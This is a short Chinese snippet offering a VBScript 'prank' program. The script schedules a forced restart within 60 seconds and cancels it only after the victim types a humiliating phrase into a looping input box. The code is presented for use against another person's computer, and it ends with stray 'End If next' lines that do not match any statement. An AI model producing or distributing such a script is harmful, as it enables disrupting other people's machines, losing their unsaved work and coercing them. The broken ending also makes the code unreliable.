vbs整人的代码。

vbs整人的代码。

dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试……"" ",0,true dim a do while(a <> "我是XX，大哥我真的是XX啊!") a = inputbox ("说我是XX，就不关机，快说，说 ""我是XX，大哥我真的是XX啊!"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox "你终于承认了啊!感叹中……",vbinformation,"真听话啊!" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0,true msgbox "哈哈，我也看你像XX~!",vbinformation,"同感啊~~!!" End If next